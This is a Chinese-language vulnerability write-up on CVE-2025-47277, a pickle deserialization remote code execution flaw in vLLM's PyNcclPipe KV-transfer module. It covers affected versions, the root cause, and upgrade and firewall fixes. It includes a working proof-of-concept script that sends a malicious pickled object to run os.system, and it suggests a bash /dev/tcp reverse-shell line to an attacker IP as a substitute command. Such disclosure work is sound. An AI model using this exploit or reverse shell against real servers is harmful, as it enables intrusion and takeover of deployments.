vLLM PyNcclPipe pickle反序列化漏洞(CVE-2025-47277)

CVE-2025-47277 是 vLLM 项目中的一个 远程代码执行(RCE)漏洞,源于其使用`PyNcclPipe`模块时,未经验证地反序列化来自网络的数据,攻击者可通过构造恶意 pickle 数据包,在服务器端执行任意代码。该漏洞严重性等级为 Critical。

漏洞描述

CVE-2025-47277 是 vLLM 项目中的一个 **远程代码执行(RCE)**漏洞,源于其使用PyNcclPipe模块时,未经验证地反序列化来自网络的数据,攻击者可通过构造恶意 pickle 数据包,在服务器端执行任意代码。该漏洞严重性等级为 Critical

影响范围

条件说明
影响版本vLLM >= 0.6.5 且 < 0.8.5
影响模块VLLMEngineV0<br><br>引擎中启用的PyNcclPipe<br><br>KV 缓存传输机制
受影响部署模式多节点分布式部署,KV 节点暴露在公网或未限制访问
不受影响使用 VLLMEngineV1、新版 NCCL 后端或未启用 KV 传输的单机部署

漏洞环境搭建

可以在本地搭建一个复现环境:

  • Python ≥ 3.8
  • vLLM == 0.8.3(或受影响版本)
  • PyTorch
from vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe import PyNcclPipe
from vllm.config import KVTransferConfig

config=KVTransferConfig(
kv_ip="127.0.0.1",
kv_port=8888,
kv_rank=0,
kv_parallel_size=1,
kv_buffer_size=1024,
kv_buffer_device="cpu"
)

p=PyNcclPipe(config=config,local_rank=0)
p.recv_tensor() 

代码解读

from vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe import PyNcclPipe
from vllm.config import KVTransferConfig

PyNcclPipe:vLLM 的分布式 KV 缓存传输模块,用于节点之间传输 tensor 数据。

KVTransferConfig:用于配置 KV 缓存传输参数,例如端口、IP、rank 等

config = KVTransferConfig(
    kv_ip="127.0.0.1",
    kv_port=8888,
    kv_rank=0,
    kv_parallel_size=1,
    kv_buffer_size=1024,
    kv_buffer_device="cpu"
)

kv_ip:本地监听 IP,接收其他节点发来的 tensor 数据。127.0.0.1 代表只监听本地(攻击时需开放公网 IP)。

kv_port:网络监听端口(服务端口),攻击者通过该端口发送恶意数据。

kv_rank:当前节点在分布式系统中的编号,0 表示主节点。

kv_parallel_size:并行传输的节点数量,这里设为 1,表示单连接通信。

kv_buffer_size:每次接收 tensor 的 buffer 大小。

kv_buffer_device:buffer 存储设备,设为 "cpu" 表示张量数据缓存在 CPU 上。

p = PyNcclPipe(config=config, local_rank=0)

创建一个 PyNcclPipe 对象,它封装了底层 TCP 通信逻辑,用于从其他节点接收数据。local_rank=0 表示当前节点在通信中的本地编号。

p.recv_tensor()

这是漏洞的触发点!recv_tensor() 内部会调用 recv_obj() 来从 socket 中接收序列化对象。

漏洞分析

成因点描述
不安全反序列化recv_obj()中使用pickle.loads()对用户发送的序列化数据直接反序列化,无身份校验或数据校验。
网络暴露配置缺陷PyTorch 的TCPStore默认监听0.0.0.0,vLLM 用户配置--kv-ip也未能强制绑定私有 IP。
内网信任假设过强vLLM 设计默认内网环境可信,缺乏防御恶意内部节点或入侵者横向移动的保护措施。

在pynccl_pipe.py中调用了recv_obj()方法

而recv_obj()方法中刚好对传入的字符串进行pickle反序列化

漏洞复现

攻击脚本

from vllm.distributed.utils import StatelessProcessGroup

class Evil:
    def __reduce__(self):
        import os
        cmd='whoami'
        return (os.system,(cmd,))

client = StatelessProcessGroup.create(
    host='127.0.0.1',
    port=18888,
    rank=1,
    world_size=2,
)

client.send_obj(obj=Evil(),dst=0)

代码分段解读:

from vllm.distributed.utils import StatelessProcessGroup

这里引入 StatelessProcessGroup,这是 vLLM 中用于节点间通信的一个工具类,封装了 TCP 通信逻辑。

class Evil:
    def __reduce__(self):
        import os
        cmd = 'whoami'
        return (os.system, (cmd,))

这是攻击的核心:

__reduce__() 是 Python pickle 模块在反序列化对象时调用的特殊方法。它的返回值告诉 pickle.loads() 如何还原一个对象。这里它返回的是 (os.system, ('whoami',)),反序列化时会执行 os.system('whoami')。这里可以把 'whoami' 换成任意命令,例如 bash -i >& /dev/tcp/attacker_ip/port 0>&1 以反弹 shell。

client = StatelessProcessGroup.create(
    host='127.0.0.1',
    port=18888,
    rank=1,
    world_size=2,
)

这行代码创建了一个客户端通信节点:host:目标服务监听地址(本地测试用 127.0.0.1),port:目标服务监听端口(通常为服务端的 KV 服务端口),rank:当前通信节点的编号(1 表示攻击节点),world_size:分布式训练的总节点数(2 表示 2 个节点通信)

这个接口实际上是将攻击者作为一个“合法”节点加入通信组。

client.send_obj(obj=Evil(), dst=0)

通过 send_obj() 向 rank=0 的节点发送序列化后的 Evil 对象。服务端在执行 recv_obj() 时,会执行 pickle.loads() 对这个对象反序列化。从而触发 Evil.__reduce__(),间接调用 os.system('whoami')。

运行后,目标机器会执行whoami命令,在实战环境下可以反弹shell

漏洞修复

vLLM 在 0.8.5 版本中已修复此漏洞:

修复内容:

  • 强制TCPStore使用指定私有地址进行绑定(防止监听所有接口)
  • 改进通信逻辑,防止未经校验的pickle.loads被直接调用

防护建议:

  • 升级 vLLM 至 ≥ 0.8.5
  • 使用防火墙阻止来自不受信任源的连接(如仅允许 10.x 或 192.168.x IP)
  • 切换到 V1 引擎,其不使用该模块
  • 使用安全消息格式(如 JSON、protobuf),禁止pickle用于跨网络通信

参考文章

  • 发表于 2025-06-09 09:00:02
  • 阅读 ( 896 )
  • 分类:CMS

0 条评论

请先 登录 后评论
Werqy3
Werqy3

1 篇文章

站长统计